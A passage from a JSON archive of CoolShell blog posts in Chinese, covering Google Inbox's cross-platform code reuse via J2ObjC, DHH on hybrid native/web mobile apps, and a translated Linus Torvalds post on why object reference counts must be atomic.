width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-11-26 Google Inbox如何跨平台重用代码？.html",
    "content": "<html><body><p>原文链接《<a href=\"http://arstechnica.com/information-technology/2014/11/how-google-inbox-shares-70-of-its-code-across-android-ios-and-the-web\" target=\"_blank\">How Google Inbox shares 70% of its code across Android, iOS, and the Web</a>》</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264.jpg\"><img alt=\"inbox2-640x264\" class=\"size-medium wp-image-12137 alignright\" height=\"123\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-300x123.jpg\" width=\"300\"/></a></p>\n<p>开发一个移动应用在当下并不是一件容易的事情。如果想要获得最多的用户，你的应用通常需要覆盖 iOS, Android, 和 Web 三大平台。这就意味着同一个应用需要开发三个版本，使用 Objective-C 或者 Swift 开发 iOS 版本，使用 Java 开发 Android 版本，使用 JavaScript/CSS/HTML5 开发 Web 版本。工作量增大的同时也意味着有更多的 bug 需要修复。</p>\n<p>这个问题也是 Google 在开发 Google Inbox 时致力要解决的。在最近发布的这款应用中，Google 使用了一些工具实现了70%的代码跨平台复用。</p>\n<p>Google Inbox 覆盖 iOS, Android, Web 三个平台，它们使用的是同一个后台代码逻辑，只是前端的用户体验和平台相关特性的实现有所不同。Google 自主开发了一套辅助工具将 Android 版本的 Java 代码逻辑编译为 Objective-C (针对 iOS 平台) 和 JavaScript (针对 Web 浏览器)。 Java 到 JavaScript 的编译由 Google Web Toolkit SDK 完成，Java 到 Objective-C 的编译则由 J2ObjC （<a href=\"j2objc.org\">j2objc.org</a>）来完成。</p>\n<p>J2ObjC 是一个开源项目，由 Google 在2013年发布。Google Sheets (Google Docs 中的电子表格部分) 也使用了 J2ObjC，而 Google Inbox 则是目前使用 J2Objc 最多的 Google 项目。</p>\n<p>Google Inbox 复用的代码逻辑包括：对话 (conversations)，提醒 (reminders)，联系人 (contacts)。还有网络相关功能和离线同步。这些代码逻辑的复用节省了大量的时间和成本。</p>\n<p>在产品设计时，Google 将这些可复用功能划分为抽象的逻辑概念，比如：提醒的逻辑放在 “reminder.java” 中，可以被 Android UI 调用。对 iOS 版本而言，J2ObjC 将 “reminder.java” 编译成 Objective-C 代码，再由 iOS UI 调用。</p>\n<p>Google 没有跨平台编译 UI 部分的代码，因为不同平台的UI特性各有不同，盲目统一会导致非常糟糕的用户体验。代码复用只是针对可以共享的后台逻辑，前端的UI实现是完全原生 (native) 的。这与 Xamarin (一个基于 Microsoft C# 的跨平台移动开发工具) 提出的概念类似。</p>\n<p>跨平台代码复用通常会带来一些性能上的问题。Garrick Toubassi，Engineering Director 和 Google Inbox 项目组成员，对此表示： “性能上的影响如果有的话，也可以说是微不足道的。我们做过大量的性能测试。因为没有加入额外的中间层来处理跨平台兼容性，所有代码最后都是平台原生代码。J2ObjC 编译生成的目标代码和 Java 源代码拥有大致相同的对象数量和对象图谱复杂度 (object graph complexity) ”。</p>\n<p>Google 使用的整套方法解决了跨平台移动开发中的一个很重要的问题，同时也推进了安卓先行 (Android-first) 的移动开发策略。</p>\n<p>更多 Google Inbox 文章请猛戳 <a href=\"http://gmailblog.blogspot.com.au/2014/11/going-under-hood-of-inbox.html\">Gmail 官方博客</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3549.html\"><img alt=\"Android将允许纯C/C++开发应用\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2608.html\"><img alt=\"Google App Inventor \" height=\"150\" src=\"../wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor </a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-12-15 DHH 谈混合移动应用开发.html",
    "content": "<html><body><p> </p>\n<p style=\"text-align: right;\"><img alt=\"1053-DHH\" class=\"paddging: 10px; 20px; alignright wp-image-16861\" height=\"80\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"80\"/>David，Ruby on Rails 作者，37signals 合伙人</p>\n<p style=\"text-align: right;\">畅销书作家、演说家、赛车手、业余摄影师、顾家好男人</p>\n<p> </p>\n<p><a href=\"http://37signals.com/\" target=\"_blank\">37signals</a> 在2013年2月发布了 Basecamp 的 iPhone app，在此之前我们就使用原生开发（native）还是混合开发（hybrid）做了许多尝试。在2012年项目启动的时候，大多数人都倾向于原生开发。</p>\n<p>Facebook 在2012年发布了他们新的 iOS app，为了获得更好的用户体验，他们放弃了原来的 HTML5 混合开发方式。考虑到2010～2011年的时候，HTML 在移动端的性能确实不尽如人意，这个决定在当时看来也在情理之中。2010年的时候我们觉得 iPhone 3G/3GS 够眩够快，但按照现在的标准来看它们就太慢了。因此在为移动应用开发做架构设计时，我们需要考虑新的移动设备的计算能力，而不是那些老的过时的设备。</p>\n<h4>移动开发架构设计不需要过多考虑设备的性能</h4>\n<p>我们从一些测试中得出的一个结论是：现在的移动设备计算能力都很强，运行原生应用和 HTML 应用的效果差别不大，而 HTML 开发的成本则要比原生开发小得多。</p>\n<p>当然这个结论在某些领域并不太适用。如果你要开发一个 3D 游戏，原生开发方式能够带来更好的游戏体验。但如果你的移动应用象 Basecamp 一样侧重信息处理，为了降低开发成本，你就可以考虑混合开发方式。我们就是如此，下面是我们三代移动产品的发展轨迹：</p>\n<p><span id=\"more-12225\"></span></p>\n<h4>第一代产品：原生外壳(native shell)＋嵌套WebView</h4>\n<p><img alt=\"1159-basecamp-app-phones\" class=\"alignright wp-image-16868 size-medium\" height=\"242\" src=\"../wp-content/uploads/2014/12/1159-basecamp-app-phones-300x242.jpg\" width=\"300\"/></p>\n<p>这个版本就是一个简单的原生外壳负责界面导航，嵌套一个 WebView 来显示 Basecamp Rail application，显示的基本上都是我们移动网站页面，再加上一些特殊的样式。</p>\n<p>在移动网站的页面上嵌套一个原生的壳，听起来还是 Web 页面，但实际带给用户的体验确是非常不同。用户可以在 Apple App Store 找到我们的 app，他们一旦登录 app 后可以再也不用重新登录（移动版本的 Safari 似乎会经常清空 cookie，让你不得不重新登录）。我们的 app 大受欢迎，用户评分在4和5之间。</p>\n<p>整个 app 由一名程序员和一名设计师开发，成本不高，因为我们可以在已有的移动网站的基础上开发。</p>\n<p>如果我们当初开发完全原生的 app，用10个人的团队1年半的时间也未必能完成。</p>\n<p> </p>\n<h4>第二代产品：原生外壳＋原生导航界面</h4>\n<p><img alt=\"1543-unnamed\" class=\"alignright wp-image-16869 size-medium\" height=\"300\" src=\"../wp-content/uploads/2014/12/1543-unnamed-187x300.png\" width=\"187\"/></p>\n<p>几个月前发布的 Basecamp Android app 是我们的第二代产品，我们在其中做了大量的改进。</p>\n<p>从第一代 iPhone app 中我们感受到了原生导航界面的威力，所以在 Android 版本中，我们由 HTML 页面导航转向了原生导航界面。我们从 HTML 页面生成原生导航界面，用户体验更加流畅，原生界面和 HTML 页面的体验差别越来越小，甚至很难区分哪些是原生部分，哪些是 HTML 。</p>\n<p>Android 版本是由一两个程序员和一个设计师开发（50%投入）完成的。我们重用了移动站点和 iPhone app 中使用的所有 webview，大大提高了开发效率，同时用户也很买账，超过1000名用户打了4.5~5的高分。</p>\n<p>很多公司在抱怨他们的 iOS 移动项目进展缓慢，Android 项目似乎更是如此。或许他们已经习惯了 iOS 项目的开发流程，也许是因为 Android 的屏幕碎片化问题，但是这些对我们来说那都不是事。我们推出的 Android app 表现良好，重用了95%的代码，开发团队也一直保持在小规模。</p>\n<p> </p>\n<h4>因地制宜地运用原生开发方式</h4>\n<p>目前我们正在开发第三代产品，发布的平台暂时保密，不过你应该也不难猜到。在前两代产品中，我们增加了原生导航界面的使用，同时进一步确定了以 webview 为核心的整体架构。在第三代产品中，我们将因地制宜地选择需要使用原生开发的功能，好钢要用在刀刃上。</p>\n<p>从之前的100% HTML，到现在的90% HTML +10%原生，我们会选择最值得做原生开发的那10%的部分，最终目的是让 app 原生部分和 HTML 部分的体验没有太大区别。</p>\n<p> </p>\n<h4>混合开发模式使用的技术</h4>\n<p>混合开发模式在技术很简单，主要是处理 webview 的集成、Web 页面的加载，以及原生内容和 HTML 内容之间的交叉链接，其实可能比你想像的还要简单得多。</p>\n<p>HTML 方面，我们的 Rails Web 应用支持 Web 和移动两大平台，其中 <a href=\"http://edgeguides.rubyonrails.org/4_1_release_notes.html#action-pack-variants\" target=\"_blank\">Rails 4.1 feature of variants</a> 起了很大的作用。</p>\n<p>这也很大程度上有助于我们发布新功能。设想一下如果我们每次需要更新这么多平台：Rails desktop app, a Rails API app, a client-side MVC app, a mobile web wrapper app, an Android app, and an iPhone app，像我们这样只有10个程序员和7个设计师的公司根本无力承担如此巨大的工作量。</p>\n<p>除了工作量的减轻，bug 修复效率也提高了，因为大部分的代码逻辑是在 Web 服务器端，我们可以随时修改代码并发布，不用通过 Apple App Store 的审批流程。所以我们的移动 app 和 Web 应用一样，也是持续部署。</p>\n<p>就如我之前提到的，混合模式开发并不适用于所有情况。在2010年以前，那时手机的处理能力都不强，所以 HTML/JS 的体验并不好，用户也不喜欢。但是时过境迁，现在手机的处理能力大大提高了，HTML/JS 的性能也不再是一个问题。</p>\n<p> </p>\n<h4>混合开发模式对原生开发模式的挑战</h4>\n<p>混合开发模式在降低开发复杂度方面有它的优势，如果你的产品是以显示和处理信息为主，我认为都可以不同程度地采用这个模式。</p>\n<p>对于小型团队和公司而言，并不一定需要采用 iOS 原生 app 先行的模式。使用混合模式，不需要你重头开发一个 app，这样可以降低维护成本，将来扩展到其他平台也更为方便。</p>\n<p>当然我知道会有很多人质疑这个模式，或许因为他们的 app 中有很多地方需要原生开发（也许仅仅是他们自己这样认为罢了）。又或许他们已经花了很多时间让 app 里的 UITableView 看起来非常漂亮，以致如果其他地方不这样的话显得不是太完美。再或许大公司就是喜欢耗时耗力的原生开发，有钱就是这么任性。</p>\n<p>无论怎样，混合开发当下应该能够成为我们移动开发策略的一个选择。如果你认为这是一个好的选择，那么恭喜你，尽情愉快地玩耍吧！</p>\n<p> </p>\n<p><em>原文链接：<a href=\"https://signalvnoise.com/posts/3743?utm_campaign=iOS_Dev_Weekly_Issue_175&amp;utm_medium=email&amp;utm_source=iOS%2BDev%2BWeekly\" target=\"_blank\">Hybrid sweet spot: Native navigation, web content</a></em></p>\n<p> </p>\n<p>下面补充一些 David 答读者问：</p>\n<p> </p>\n<p>Mike Waite @ 2014-05-08：我很好奇你是如何决定哪些功能要用原生开发？<br/>\nDavid @ 2014-05-08：主要靠感觉，这毕竟不是一门科学。如果你感觉你app的某一部分如果用原生开发会更好些，可以尝试做快速原型（spike）。很多时候我们通过这种方式证明我们的想法其实是错的。当然如果你需要使用到手机上的功能如：摄像和其他设备时，HTML目前还不太适用，不过永远也不要把话说死。</p>\n<p> </p>\n<p>Mike Parsons @ 2014-05-08：好文。很好奇你们是否使用 PhoneGap 或者 Cordova 这样的框架，或者你们自己开发了一个？<br/>\nDavid @ 2014-05-08：我们没有使用任何框架。（此处省去xxx字）</p>\n<p> </p>\n<p>Derick @ 2014-05-08：你怎样解决 Android 浏览器渲染速度慢的问题？这也是 Android 平台上更多人倾向开发原生app得原因。<br/>\nDavid @ 2014-05-08：不知道你这个结论是近期的还是以前的？Basecamp 的 Android app 在我的 Nexus 5 和 HTC One 上面运行得非常流畅。<br/>\nDerick @ 2014-05-08：就是最近。我猜测可能和你使用JavaScript的多少有关系。因为以我个人的经验，Android 上 JavaScript 的运行速度非常慢。如果你感兴趣可以看看下面的文章：<a href=\"https://www.timroes.de/2013/11/23/old-webview-vs-chromium-webview/\" target=\"_blank\">https://www.timroes.de/2013/11/23/old-webview-vs-chromium-webview/</a><br/>\nDavid @ 2014-05-08：我们使用了很多JavaScript，当然没有 Web MVC 客户端用得那样多。另外我们使用了 Turbolinks ：）</p>\n<p> <!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-12-31 Linus：为何对象引用计数必须是原子的.html",
    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>Linus大神又在rant了！这次的吐槽对象是时下很火热的<strong>并行技术(parellism)</strong>，并直截了当地表示<a href=\"http://www.vaikan.com/linus-parallel-computing-is-a-huge-waste-of-everybodys-time/\" target=\"_blank\" title=\"并行计算基本上就是浪费大家的时间\">并行计算是浪费所有人时间</a>(<a href=\"http://www.realworldtech.com/forum/?threadid=146066&amp;curpostid=146227\">“The whole “let’s parallelize” thing is a huge waste of everybody’s time.”</a>)。大致意思是说<strong>乱序性能快、提高缓存容量、降功耗</strong>。当然笔者不打算正面讨论并行的是是非非（过于宏伟的主题），因为Linus在另一则<a href=\"http://www.realworldtech.com/forum/?threadid=146066&amp;curpostid=146183\" target=\"_blank\" title=\"reference counting\">帖子</a>中举了对象<strong>引用计数(reference counting)</strong>的例子来说明并行的复杂性。</p>\n<p>在Linus回复之前有人指出<strong>对象需要锁机制的情况下，引用计数的原子性问题：</strong></p>\n<blockquote><p>Since it is being accessed in a multi-threaded way, via multiple access paths, generally it needs its own mutex — otherwise, reference counting would not be required to be atomic and a lock of a higher-level object would suffice.</p>\n<p>由于（对象）通过多线程方式及多种获取渠道，一般而言它需要自身维护一个互斥锁——否则引用计数就不要求是原子的，一个更高层次的对象锁足矣。</p></blockquote>\n<p>而Linus不那么认为：</p>\n<blockquote><p>The problem with reference counts is that you often need to take them *before* you take the lock that protects the object data.</p>\n<p>引用计数的问题在于你经常需要在对象数据<strong>上锁保护之前</strong>完成它。</p></blockquote>\n<p>The thing is, you have two different cases:</p>\n<p>问题有两种情况：</p>\n<p style=\"padding-left: 30px;\"><strong>– object *reference* 对象引用</strong></p>\n<p style=\"padding-left: 30px;\"><strong>– object data 对象数据</strong></p>\n<p>and they have completely different locking.</p>\n<p><strong>它们锁机制是完全不一样的。</strong></p>\n<p><span id=\"more-16910\"></span></p>\n<p>Object data locking is generally per-object. Well, unless you don’t have huge scalability issues, in which case you may have some external bigger lock (extreme case: one single global lock).</p>\n<p>对象数据保护一般是一个对象拥有一个锁，假设你没有海量扩展性问题，不然你需要一些外部大一点的锁（极端的例子，一个对象一个全局锁）。</p>\n<p>But object *referencing* is mostly about finding the object (and removing/freeing it). Is it on a hash chain? Is it in a tree? Linked list? When the reference count goes down to zero, it’s not the object data that you need to protect (the object is not used by anything else, so there’s nothing to protect!), it’s the ways to find the object you need to protect.</p>\n<p>但对象引用主要关于对象的寻找（移除或释放），它是否在哈希链，一棵树或者链表上。<strong>当对象引用计数降为零，你要保护的不是对象数据，因为对象没有在其它地方使用，你要保护的是对象的寻找操作。</strong></p>\n<p>And the lock for the lookup operation cannot be in the object, because – by definition – you don’t know what the object is! You’re trying to look it up, after all.</p>\n<p>而且查询操作的锁不可能在对象内部，因为根据定义，你还不知道这是什么对象，你在尝试寻找它。</p>\n<p>So generally you have a lock that protects the lookup operation some way, and the reference count needs to be atomic with respect to that lock.</p>\n<p>因此一般你要对查询操作上锁，而且引用计数相对<strong>那个锁</strong>来说是原子的（译者注：查询锁不是引用计数所在的对象所有，不能保护对象引用计数，后面会解释为何引用计数变更时其所在对象不能上锁）。</p>\n<p>And yes, that lock may well be sufficient, and now you’re back to non-atomic reference counts. But you usually don’t have just one way to look things up: you might have pointers from other objects (and that pointer is protected by the object locking of the other object), but there may be multiple such objects that point to this (which is why you have a reference count in the first place!)</p>\n<p>当然这个锁是充分有效的，现在假设引用计数是非原子的，但你常常不仅仅使用一种方式来查询：你可能拥有其它对象的指针（这个指针又被其它对象的对象锁给保护起来），但同时还会有多个对象指向它（这就是为何你第一时间需要引用计数的理由）。</p>\n<p>See what happens? There is no longer one single lock for lookup. Imagine walking a graph of objects, where objects have pointers to each other. Each pointer implies a reference to an object, but as you walk the graph, you have to release the lock from the source object, so you have to take a new reference to the object you are now entering.</p>\n<p>看看会发生什么？查询不止存在一个锁保护。你可以想象走过一张对象流程图，其中对象存在指向其它对象的指针，每个指针暗含了一次对象引用，但当你走过这个流程图，你必须释放源对象的锁，而你进入新对象时又必须增加一次引用。</p>\n<p>And in order to avoid deadlocks, you can not in the general case take the lock of the new object first – you have to release the lock on the source object, because otherwise (in a complex graph), how do you avoid simple ABBA deadlock?</p>\n<p>而且为了避免死锁，你一般不能立即对新对象上锁——你必须释放源对象的锁，否则在一个复杂流程图里，你如何避免<strong>ABBA死锁</strong>（译者注：假设两个线程，一个是A-&gt;B，另一个B-&gt;;A，当线程一给A上锁，线程二给B上锁，此时两者谁也无法释放对方的锁）？</p>\n<p>So atomic reference counts fix that. They work because when you move from object A to object B, you can do this:</p>\n<p>原子引用计数修正了这一点，当你从对象A到对象B，你会这样做：</p>\n<p>(a) you have a reference count to A, and you can lock A</p>\n<p style=\"padding-left: 30px;\">对象A增加一次引用计数，并上锁。</p>\n<p>(b) once object A is locked, the pointer from A to B is stable, and you know you have a reference to B (because of that pointer from A to B)</p>\n<p style=\"padding-left: 30px;\">对象A一旦上锁，A指向B的指针就是稳定的，于是你知道你引用了对象B。</p>\n<p>(c) but you cannot take the object lock for B (ABBA deadlock) while holding the lock on A</p>\n<p style=\"padding-left: 30px;\">但你不能在对象A上锁期间给B上锁（ABBA死锁）。</p>\n<p>(d) increment the atomic reference count on B</p>\n<p style=\"padding-left: 30px;\">对象B增加一次原子引用计数。</p>\n<p>(e) now you can drop the lock on A (you’re “exiting” A)</p>\n<p style=\"padding-left: 30px;\">现在你可以扔掉对象A的锁（退出对象A）。</p>\n<p>(f) your reference count means that B cannot go away from under you despite unlocking A, so now you can lock B.</p>\n<p style=\"padding-left: 30px;\">对象B的原子引用计数意味着即使给A解锁期间，B也不会失联，现在你可以给B上锁。</p>\n<p>See? Atomic reference counts make this kind of situation possible. Yes, you want to avoid the overhead if at all possible (for example, maybe you have a strict ordering of objects, so you know you can walk from A to B, and never walk from B to A, so there is no ABBA deadlock, and you can just lock B while still holding the lock on A).</p>\n<p>看见了吗？原子引用计数使这种情况成为可能。是的，你想尽一切办法避免这种代价，比如，你也许把对象写成严格顺序的，这样你可以从A到B，绝不会从B到A，如此就不存在ABBA死锁了，你也就可以在A上锁期间给B上锁了。</p>\n<p>But if you don’t have some kind of forced ordering, and if you have multiple ways to reach an object (and again – why have reference counts in the first place if that isn’t true!) then atomic reference counts really are the simple and sane answer.</p>\n<p>但如果你无法做到这种强迫序列，如果你有多种方式接触一个对象（再一次强调，这是第一时间使用引用计数的理由），这样，原子引用计数就是简单又理智的答案。</p>\n<p>If you think atomic refcounts are unnecessary, that’s a big flag that you don’t actually understand the complexities of locking.</p>\n<p><strong>如果你认为原子引用计数是不必要的，这就大大说明你实际上不了解锁机制的复杂性。</strong></p>\n<p>Trust me, concurrency is hard. There’s a reason all the examples of “look how easy it is to parallelize things” tend to use simple arrays and don’t ever have allocations or freeing of the objects.</p>\n<p>相信我，<strong>并发设计是困难的。</strong>所有关于“并行化如此容易”的理由都倾向于使用简单数组操作做例子，甚至不包含对象的分配和释放。</p>\n<p>People who think that the future is highly parallel are invariably completely unaware of just how hard concurrency really is. They’ve seen Linpack, they’ve seen all those wonderful examples of sorting an array in parallel, they’ve seen all these things that have absolutely no actual real complexity – and often very limited real usefulness.</p>\n<p>那些认为未来是高度并行化的人一成不变地完全没有意识到并发设计是多么困难。他们只见过<a href=\"http://en.wikipedia.org/wiki/LINPACK\" target=\"_blank\" title=\"Linpack\">Linpack</a>，他们只见过并行技术中关于数组排序的一切精妙例子，他们只见过一切绝不算真正复杂的事物——对真正的用处经常是非常有限的。</p>\n<p>（译者注：当然，我无意借大神之口把技术宗教化。实际上Linus又在另一篇<a href=\"http://www.realworldtech.com/forum/?threadid=146066&amp;curpostid=146198\" target=\"_blank\" title=\"评价\">帖子</a>中综合了对并行的评价。）</p>\n<p>Oh, I agree. My example was the simple case. The really complex cases are much worse.</p>\n<p>哦，我同意。我的例子还算简单，真正复杂的用例更糟糕。</p>\n<p>I seriously don’t believe that the future is parallel. People who think you can solve it with compilers or programming languages (or better programmers) are so far out to lunch that it’s not even funny.</p>\n<p>我严重不相信未来是并行的。有人认为你可以通过编译器，编程语言或者更好的程序员来解决问题，他们目前都是神志不清，没意识到这一点都不有趣。</p>\n<p>Parallelism works well in simplified cases with fairly clear interfaces and models. You find parallelism in servers with independent queries, in HPC, in kernels, in databases. And even there, people work really hard to make it work at all, and tend to expressly limit their models to be more amenable to it (eg databases do some things much better than others, so DB admins make sure that they lay out their data in order to cater to the limitations).</p>\n<p>并行计算可以在简化的用例以及具备清晰的接口和模型上正常工作。你发现并行在服务器上独立查询里，在高性能计算(High-performance computing)里，在内核里，在数据库里。即使如此，人们还得花很大力气才能使它工作，并且还要明确限制他们的模型来尽更多义务（例如数据库要想做得更好，数据库管理员得确保数据得到合理安排来迎合局限性）。</p>\n<p>Of course, other programming models can work. Neural networks are inherently very parallel indeed. And you don’t need smarter programmers to program them either..</p>\n<p>当然，其它编程模型倒能派上用场，神经网络(neural networking)天生就是非常并行化的，你不需要更聪明的程序员为之写代码。</p>\n<h4>参考资料</h4>\n<ul>\n<li><a href=\"http://www.realworldtech.com/\" target=\"_blank\" title=\"Real World Technologies\">Real World Technologies</a>：Linus常去“灌水”的一个论坛，讨论未来机器架构（看名字就知道Linus技术偏好，及其之前对虚拟化技术(virtualization)的<a href=\"http://www.networkworld.com/article/2220440/opensource-subnet/torvalds-says---virtualization-is-evil-.html\" target=\"_blank\" title=\"virtualization is evil\">吐槽</a>）</li>\n<li><a href=\"http://www.parallellabs.com/2010/04/15/atomic-operation-in-multithreaded-application/\" target=\"_blank\" title=\"多线程程序中操作的原子性\">多线程程序中操作的原子性</a>：解释为什么i++不是原子操作</li>\n<li><a href=\"http://www.vaikan.com/docs/Concurrency-is-not-Parallelism\" target=\"_blank\" title=\"Concurrency Is Not Parallelism\"> Concurrency Is Not Parallelism</a>：Go语言之父Rob Pike幻灯片解释“并发”与“并行”概念上的区别</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9917.html\"><img alt=\"Alan Cox：大教堂、市集与市议会\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9917.html\">Alan 